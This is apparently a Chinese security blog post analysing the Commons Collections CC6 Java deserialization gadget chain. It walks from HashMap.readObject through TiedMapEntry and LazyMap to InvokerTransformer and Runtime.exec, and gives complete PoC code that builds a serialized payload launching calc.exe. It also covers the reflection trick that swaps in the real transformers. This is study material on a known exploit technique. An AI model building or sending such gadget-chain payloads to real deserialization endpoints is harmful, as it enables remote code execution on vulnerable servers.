CC6...


标题要大于5个字,弄了一会,,原来是最上面的标题。

1. 前言…

接着P神的CC1,往后分析,CC1是真能够解决8u71之前的使用的,遇到的问题就是CC1用到了AnnotationInvocationHandler类,但是AnnotationInvocationHandler类的readObject()方法在8u71以后逻辑就发生了改变,不能再利用了,所以需要找一个可以解决高版本Java的利用链。

先看P神的简化调用链:

 Gadget chain:
 java.io.ObjectInputStream.readObject()
 	java.util.HashMap.readObject()
 		java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

看着链子大致就能懂了,反序列化的对象是HashMap对象。联想一下URLDNSHashMapreadObject中调用了hash()hash()函数中调用了keyhashCode()TiedMapEntryhashCode()函数:

我们需要看的主要是从最开始到 org.apache.commons.collections.map.LazyMap.get()的那⼀部分,因为LazyMap#get() 后⾯的部分在上⼀篇⽂章⾥已经说了

所以简单来说,解决Java高版本利用问题,就是找上下文中是否还有其他调用 LazyMap#get()的地方, ,get()不存在的键的时候,就会调用transform()方法,

2. 分析CC6…

我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry,在其 getValue()⽅法中调⽤了 this.map.get() ,⽽其hashCode⽅法调⽤了getValue⽅法

2.1 TiedMapEnrty…

还是看一下源码:

翻译:一个绑定到下面的map的一个map entry,它能让一个map enrty 来改变底层map,然后,这可能会弄乱任何一个迭代器。 。 翻译的一塌糊涂,,,

/**
 * A Map Entry tied to a map underneath.
 * <p>
 * This can be used to enable a map entry to make changes on the underlying
 * map, however this will probably mess up any iterators.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.5 $ $Date: 2004/04/09 14:35:10 $
 * 
 * @author Stephen Colebourne
 */
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

构造方法: 翻译:用给定的map和key来创建一个新的entry

    
    /**
     * Constructs a new entry with the given Map and key.
     *
     * @param map  the map
     * @param key  the key
     */
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

hashCode()

/**
 * Gets a hashCode compatible with the equals method.
 * <p>
 * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
 * 
 * @return a suitable hash code
 */
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); 
}

getvalue()

/**
 * Gets the value of this entry direct from the map.
 * 
 * @return the value
 */
public Object getValue() {
    return map.get(key);
}

这里的map,我们应该是要替换为LazyMap

所以,要触发LazyMap利用链,那么就是要找哪里利用了TiedMapEntry#hashCode()

这个是 HashMaphash()

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

ysoserial中,是利⽤ java.util.HashSet#readObjectHashMap#put()HashMap#hash(key)最后到 TiedMapEntry#hashCode()

实际上 P神 发现,在 java.util.HashMap#readObject中就可以找到HashMap#hash()的调⽤,去掉了最前⾯的两次调用,然后给 HashMap传入参数是TiedMapEntry,然后走 TiedMapEntry#hashCode()。然后TiedMapEntry#getValue()。然后LazyMap#get()。。

需要我们给 HashMap传入参数是TiedMapEntry

。给TiedMapEntry传参LazyMap

/**
 * Reconstitute the {@code HashMap} instance from a stream (i.e.,
 * deserialize it).
 */
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
	...
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

readObject()中就有hash(key) , 那么我们就让这个keyTiedMapEntry就行了

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

在这里插入图片描述

TiedMapEntry 的构造方法和 getValue, 那么 这个的第一个参数就是 LazyMap了。

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

public Object getValue() {
    return map.get(key);
}

在这里插入图片描述

来Gadget!

2.2 开始构造 poc

先来上 CC1 的后边部分 ,这个是 LazyMap.put()方法触发计算器的那个东西,

package ysoserial.test.adamtest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc6demo1 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,
                Object[].class}, new Object[]{null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[]{String.class},
                new String[]{
                    "calc.exe"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        Object o = outerMap.get("1");

    }
}

我一开始写的这个,和feng师傅一样,,

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;



public class cc6demo1 {

    public static void main(String[] args) throws Exception {

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,
                Object[].class}, new Object[]{null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[]{String.class},
                new String[]{
                    "calc.exe"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);


        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap<>();

        map.put(tme,"value");

        byte[] bytes = serialize(map);
        System.out.println(bytes.toString());
        unserialize(bytes);
    }

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    }

}

出现的第一个问题就是,我在这里就直接弹计算器了,后来P神说是intellij在debug的时候会调用一些toString(),然后就会执行

        map.put(tme,"value");

就利用了一下P神的思路,在序列化之前用一个没影响的Transformer[],也就是fakeTransformers

为了避免本地调试时触发命令执

⾏,我构造 LazyMap 的时候先⽤了⼀个⼈畜⽆害的 fakeTransformers 对象,等最后要⽣成Payload

时候,再把真正的 transformers 替换进去

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;



public class cc6demo1 {

    public static void main(String[] args) throws Exception {

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"calc.exe"}),
        };
        //这两个哪一个都行
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap();
        map.put(tme,"value");

        byte[] bytes = serialize(map);
        System.out.println(new String(bytes));
        unserialize(bytes);
    }

    private static void unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        return baos.toByteArray();
    }

}

但是没有弹出来计算器啊。。

在这里插入图片描述

2.3. 为什么没有弹出来计算器

你会发现关键点在LazyMap的get⽅法,下图我画框的部分,就是最后触发命令执⾏的transform() ,但是这个if语句并没有进⼊,因为map.containsKey(key)的结果是true

在这里插入图片描述
在这里插入图片描述

这是为什么呢?outerMap中我并没有放⼊⼀个key是 keykey 的对象呀?我们看下之前的代码,唯⼀出现 keykey 的地⽅就是在 TiedMapEntry 的构造函数⾥,

TiedMapEntry构造函数并没有修改outerMap

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap();
        map.put(tme,"value");

其实,这个关键点就出在 expMap.put(tme, "valuevalue");这个语句⾥⾯。HashMapput⽅法中,也有调⽤到 hash(key)

public V put(K key, V value) {
 return putVal(hash(key), key, value, false, true);
}

这⾥就导致 LazyMap这个利⽤链在这⾥被调⽤了⼀遍,因为我前⾯⽤了fakeTransformers ,所以此时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响。我们的解决⽅法也很简单,只需要将adamkey这个Key,再从outerMap中移除即可:

outerMap.remove("keykey") 

最后的poc 。 但是 凭空多了后面的反射,下面会进行讲解

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;



public class cc6demo1 {

    public static void main(String[] args) throws Exception {

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"calc.exe"}),
        };
        //这两个哪一个都行
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap();
        map.put(tme,"value");

        outerMap.remove("adamkey");
//
        Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
        Field field = clazz.getDeclaredField("iTransformers");
        field.setAccessible(true);
        //换上真的 transformers
        field.set(chainedTransformer,transformers);

        byte[] bytes = serialize(map);
        System.out.println(new String(bytes));
        unserialize(bytes);
    }

    private static void unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        return baos.toByteArray();
    }

}

在这里插入图片描述

2.4 理解最后的反射,讲解

在这里插入图片描述

public class ChainedTransformer implements Transformer, Serializable {

    private final Transformer[] iTransformers;
    
    
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

这个 ChainedTransformeriTransformers 是一个私有属性,前面说了,put的时候,调用了一次 LazyMap了,只不过我们传入的是faketransformers所以没有影响,然后后面LazyMap中有了键名,然后我们remove掉,

然后再次修改 ChainedTransformeriTransformers 这个属性,但是这里是 private属性,然后我们只想修改属性,不想再次new一个出来,所以,就 类属性.set(类对象,值)

就是给 chainedTransformer对象的 iTransformers属性,赋予transformers 的值,

这个是之前的样子,ChainedTransformer的构造方法就是将参数给iTransformers,所以这两个的效果是一样的。

  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

2.4.1 反射 filed.set…

反射的 Field 类的 set 方法,第一个参数是对象,然后第二个参数才是我们要给这个 field 属性设置的值。

    public void set(Object obj, Object value)
        throws IllegalArgumentException, IllegalAccessException
    {

这个和 Method.invoke(对象实例,参数)巨像无比,

启示:遇到不懂的用法,千万不要逃避,要去看源码,源码中有解释的

3. 反思…

为什么我自己没有写出来,

开始的 时候,我写的poc和feng师傅的一样,但是之后我就不会了。就看答案了。但是feng师傅它就自己摸索

那么后面换成了faketransformer 之后呢.我就没有了思考了。没有想到 要把 fake 换为真的,然后换为真的的时候,需要使用 反射 来操作,原因就是那个属性是 private

并且 我对于 Filed 的 反射设置属性的值不会,而且中间差点放弃,以后遇到困难,首先要想到去看源码

缺点111111…

没有自己独立思考,总爱看别人的思路

缺点22222…

遇到困难,应该要首先看源码

4.这个是没有版本限制的

最强的,竟然没有用到 那个 Anno 的反射,,,😮。

5. 参考

《Java安全漫谈》

https://y4tacker.blog.csdn.net/article/details/117456813

https://ego00.blog.csdn.net/article/details/119739082

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值